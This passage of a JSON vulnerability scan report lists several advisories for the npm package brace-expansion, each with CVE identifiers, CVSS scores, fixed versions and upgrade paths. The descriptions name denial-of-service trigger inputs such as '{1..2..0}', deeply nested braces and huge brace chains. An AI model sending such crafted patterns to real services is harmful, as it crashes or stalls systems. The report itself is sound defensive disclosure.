"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
